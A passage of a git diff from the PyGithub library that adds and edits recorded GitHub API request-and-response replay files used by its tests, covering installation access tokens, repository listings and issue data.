v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1641,"open_issues":247,"watchers":6075,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":false},"temp_clone_token":"","organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1641,"subscribers_count":115} diff --git a/tests/ReplayData/Installation.testGetRepos.txt b/tests/ReplayData/Installation.testGetRepos.txt new file mode 100644 index 0000000000..0902860691 --- /dev/null +++ b/tests/ReplayData/Installation.testGetRepos.txt @@ -0,0 +1,21 @@ +https +POST +api.github.com +None +/app/installations/36541767/access_tokens +{'Accept': 'application/vnd.github.machine-man-preview+json', 'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"permissions": {}} +201 +[('Server', 'GitHub.com'), ('Date', 'Thu, 08 Jun 2023 07:39:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '231'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"783fdaa90e16f1fd718449dd5b21c99024d0821e33012e2610a8446495847795"'), ('X-GitHub-Media-Type', 'github.v3; param=machine-man-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D590:F2E4:13B6DDD:13FE18A:648185AC')] +{"token":"private_token_removed","expires_at":"2023-06-08T08:39:25Z","permissions":{"metadata":"read"},"repository_selection":"selected"} + +https +GET +api.github.com +None +/installation/repositories +{'Accept': 'application/vnd.github.machine-man-preview+json', 'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 08 Jun 2023 07:39:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7feb4668c0366b8d93e1fff0a4795d4cd0279f0d185056839c07521f2740640b"'), ('X-GitHub-Media-Type', 'github.v3; param=machine-man-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1686213555'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D594:1C3A:14AB318:14F270C:648185AD')] +{"total_count":2,"repository_selection":"selected","repositories":[{"id":418546277,"node_id":"R_kgDOGPKCZQ","name":"sandbox","full_name":"EnricoMi/sandbox","private":true,"owner":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"html_url":"https://github.com/EnricoMi/sandbox","description":null,"fork":false,"url":"https://api.github.com/repos/EnricoMi/sandbox","forks_url":"https://api.github.com/repos/EnricoMi/sandbox/forks","keys_url":"https://api.github.com/repos/EnricoMi/sandbox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/EnricoMi/sandbox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/EnricoMi/sandbox/teams","hooks_url":"https://api.github.com/repos/EnricoMi/sandbox/hooks","issue_events_url":"https://api.github.com/repos/EnricoMi/sandbox/issues/events{/number}","events_url":"https://api.github.com/repos/EnricoMi/sandbox/events","assignees_url":"https://api.github.com/repos/EnricoMi/sandbox/assignees{/user}","branches_url":"https://api.github.com/repos/EnricoMi/sandbox/branches{/branch}","tags_url":"https://api.github.com/repos/EnricoMi/sandbox/tags","blobs_url":"https://api.github.com/repos/EnricoMi/sandbox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/EnricoMi/sandbox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/EnricoMi/sandbox/git/refs{/sha}","trees_url":"https://api.github.com/repos/EnricoMi/sandbox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/EnricoMi/sandbox/statuses/{sha}","languages_url":"https://api.github.com/repos/EnricoMi/sandbox/languages","stargazers_url":"https://api.github.com/repos/EnricoMi/sandbox/stargazers","contributors_url":"https://api.github.com/repos/EnricoMi/sandbox/contributors","subscribers_url":"https://api.github.com/repos/EnricoMi/sandbox/subscribers","subscription_url":"https://api.github.com/repos/EnricoMi/sandbox/subscription","commits_url":"https://api.github.com/repos/EnricoMi/sandbox/commits{/sha}","git_commits_url":"https://api.github.com/repos/EnricoMi/sandbox/git/commits{/sha}","comments_url":"https://api.github.com/repos/EnricoMi/sandbox/comments{/number}","issue_comment_url":"https://api.github.com/repos/EnricoMi/sandbox/issues/comments{/number}","contents_url":"https://api.github.com/repos/EnricoMi/sandbox/contents/{+path}","compare_url":"https://api.github.com/repos/EnricoMi/sandbox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/EnricoMi/sandbox/merges","archive_url":"https://api.github.com/repos/EnricoMi/sandbox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/EnricoMi/sandbox/downloads","issues_url":"https://api.github.com/repos/EnricoMi/sandbox/issues{/number}","pulls_url":"https://api.github.com/repos/EnricoMi/sandbox/pulls{/number}","milestones_url":"https://api.github.com/repos/EnricoMi/sandbox/milestones{/number}","notifications_url":"https://api.github.com/repos/EnricoMi/sandbox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/EnricoMi/sandbox/labels{/name}","releases_url":"https://api.github.com/repos/EnricoMi/sandbox/releases{/id}","deployments_url":"https://api.github.com/repos/EnricoMi/sandbox/deployments","created_at":"2021-10-18T14:50:05Z","updated_at":"2022-03-14T20:59:56Z","pushed_at":"2023-05-11T13:00:52Z","git_url":"git://github.com/EnricoMi/sandbox.git","ssh_url":"git@github.com:EnricoMi/sandbox.git","clone_url":"https://github.com/EnricoMi/sandbox.git","svn_url":"https://github.com/EnricoMi/sandbox","homepage":null,"size":4616,"stargazers_count":0,"watchers_count":0,"language":"HTML","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"private","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":false}},{"id":224264786,"node_id":"MDEwOlJlcG9zaXRvcnkyMjQyNjQ3ODY=","name":"python","full_name":"EnricoMi/python","private":false,"owner":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"html_url":"https://github.com/EnricoMi/python","description":"Miscellaneous Python code","fork":false,"url":"https://api.github.com/repos/EnricoMi/python","forks_url":"https://api.github.com/repos/EnricoMi/python/forks","keys_url":"https://api.github.com/repos/EnricoMi/python/keys{/key_id}","collaborators_url":"https://api.github.com/repos/EnricoMi/python/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/EnricoMi/python/teams","hooks_url":"https://api.github.com/repos/EnricoMi/python/hooks","issue_events_url":"https://api.github.com/repos/EnricoMi/python/issues/events{/number}","events_url":"https://api.github.com/repos/EnricoMi/python/events","assignees_url":"https://api.github.com/repos/EnricoMi/python/assignees{/user}","branches_url":"https://api.github.com/repos/EnricoMi/python/branches{/branch}","tags_url":"https://api.github.com/repos/EnricoMi/python/tags","blobs_url":"https://api.github.com/repos/EnricoMi/python/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/EnricoMi/python/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/EnricoMi/python/git/refs{/sha}","trees_url":"https://api.github.com/repos/EnricoMi/python/git/trees{/sha}","statuses_url":"https://api.github.com/repos/EnricoMi/python/statuses/{sha}","languages_url":"https://api.github.com/repos/EnricoMi/python/languages","stargazers_url":"https://api.github.com/repos/EnricoMi/python/stargazers","contributors_url":"https://api.github.com/repos/EnricoMi/python/contributors","subscribers_url":"https://api.github.com/repos/EnricoMi/python/subscribers","subscription_url":"https://api.github.com/repos/EnricoMi/python/subscription","commits_url":"https://api.github.com/repos/EnricoMi/python/commits{/sha}","git_commits_url":"https://api.github.com/repos/EnricoMi/python/git/commits{/sha}","comments_url":"https://api.github.com/repos/EnricoMi/python/comments{/number}","issue_comment_url":"https://api.github.com/repos/EnricoMi/python/issues/comments{/number}","contents_url":"https://api.github.com/repos/EnricoMi/python/contents/{+path}","compare_url":"https://api.github.com/repos/EnricoMi/python/compare/{base}...{head}","merges_url":"https://api.github.com/repos/EnricoMi/python/merges","archive_url":"https://api.github.com/repos/EnricoMi/python/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/EnricoMi/python/downloads","issues_url":"https://api.github.com/repos/EnricoMi/python/issues{/number}","pulls_url":"https://api.github.com/repos/EnricoMi/python/pulls{/number}","milestones_url":"https://api.github.com/repos/EnricoMi/python/milestones{/number}","notifications_url":"https://api.github.com/repos/EnricoMi/python/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/EnricoMi/python/labels{/name}","releases_url":"https://api.github.com/repos/EnricoMi/python/releases{/id}","deployments_url":"https://api.github.com/repos/EnricoMi/python/deployments","created_at":"2019-11-26T18:58:06Z","updated_at":"2021-12-04T16:06:43Z","pushed_at":"2023-05-30T07:57:26Z","git_url":"git://github.com/EnricoMi/python.git","ssh_url":"git@github.com:EnricoMi/python.git","clone_url":"https://github.com/EnricoMi/python.git","svn_url":"https://github.com/EnricoMi/python","homepage":null,"size":276,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":12,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":12,"watchers":0,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":false}}]} diff --git a/tests/ReplayData/Issue.setUp.txt b/tests/ReplayData/Issue.setUp.txt index 0098cce6d3..25b0af3b68 100644 --- a/tests/ReplayData/Issue.setUp.txt +++ b/tests/ReplayData/Issue.setUp.txt @@ -29,5 +29,4 @@ None None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '2258'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"071cb2b8bfef81f56b94d7d9397e6aa4"'), ('date', 'Sat, 26 May 2012 14:59:40 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546,"closed_issues":3},"number":28,"closed_by":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},{"url":"https://api.github.com/users/stuglaser","gravatar_id":"","login":"stuglaser","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","id":1527117}],"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4653757,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/28"} - +{"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546,"closed_issues":3},"number":28,"closed_by":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},{"url":"https://api.github.com/users/stuglaser","gravatar_id":"","login":"stuglaser","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","id":1527117}],"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4653757,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/28","state_reason":"completed","comments_url":"https://github.com/jacquev6/PyGithub/issues/28/comments","events_url":"https://github.com/jacquev6/PyGithub/issues/28/events","labels_url":"https://github.com/jacquev6/PyGithub/issues/28/labels{/name}","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/reactions","total_count":2,"+1":0,"-1":0,"laugh":0,"hooray":2,"confused":0,"heart":0,"rocket":0,"eyes":0}} diff --git a/tests/ReplayData/Issue.testAddAndRemoveAssignees.txt b/tests/ReplayData/Issue.testAddAndRemoveAssignees.txt index 754e1c1fe3..7540ad8697 100644 --- a/tests/ReplayData/Issue.testAddAndRemoveAssignees.txt +++ b/tests/ReplayData/Issue.testAddAndRemoveAssignees.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546,"closed_issues":3},"number":28,"closed_by":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"login":"jacquev6","id": 327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146?v=3","gravatar_id":"","url":"https://api.github.com/users/jacquev6"},{"login":"stuglaser","id": 1527117,"avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","gravatar_id":"","url":"https://api.github.com/users/stuglaser"}],"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4653757,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/28"} - diff --git a/tests/ReplayData/Issue.testAddAndRemoveLabels.txt b/tests/ReplayData/Issue.testAddAndRemoveLabels.txt index bf5c11f89b..081a23a460 100644 --- a/tests/ReplayData/Issue.testAddAndRemoveLabels.txt +++ b/tests/ReplayData/Issue.testAddAndRemoveLabels.txt @@ -96,4 +96,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}] - diff --git a/tests/ReplayData/Issue.testAddAndRemoveLabelsWithStringArguments.txt b/tests/ReplayData/Issue.testAddAndRemoveLabelsWithStringArguments.txt index 836084944d..bab7e65f6f 100644 --- a/tests/ReplayData/Issue.testAddAndRemoveLabelsWithStringArguments.txt +++ b/tests/ReplayData/Issue.testAddAndRemoveLabelsWithStringArguments.txt @@ -74,4 +74,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}] - diff --git a/tests/ReplayData/Issue.testAttributes.txt b/tests/ReplayData/Issue.testAttributes.txt index b5c449743e..a8653eea34 100644 --- a/tests/ReplayData/Issue.testAttributes.txt +++ b/tests/ReplayData/Issue.testAttributes.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5dc65a168cf4d957347ea04221cd5102"'), ('date', 'Sat, 26 May 2012 14:59:39 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":13,"updated_at":"2012-05-26T11:25:48Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T11:25:48Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"git_url":"git://github.com/jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub","assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"assignees":[{"url":"https://api.github.com/users/stuglaser","gravatar_id":"","login":"stuglaser","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","id":1527117},{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}]} - diff --git a/tests/ReplayData/Issue.testCreateComment.txt b/tests/ReplayData/Issue.testCreateComment.txt index 894b75d66b..d5454f9ed8 100644 --- a/tests/ReplayData/Issue.testCreateComment.txt +++ b/tests/ReplayData/Issue.testCreateComment.txt @@ -8,4 +8,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4996'), ('content-length', '506'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"08cea7c821f6f3378e38921a9e7bc05e"'), ('date', 'Sun, 20 May 2012 11:46:43 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5808311')] {"updated_at":"2012-05-20T11:46:42Z","body":"Comment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5808311","created_at":"2012-05-20T11:46:42Z","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":5808311} - diff --git a/tests/ReplayData/Issue.testCreateReaction.txt b/tests/ReplayData/Issue.testCreateReaction.txt index 2d78dd646f..781b5ff331 100644 --- a/tests/ReplayData/Issue.testCreateReaction.txt +++ b/tests/ReplayData/Issue.testCreateReaction.txt @@ -8,4 +8,3 @@ None 201 [('content-length', '999'), ('x-runtime-rack', '0.064776'), 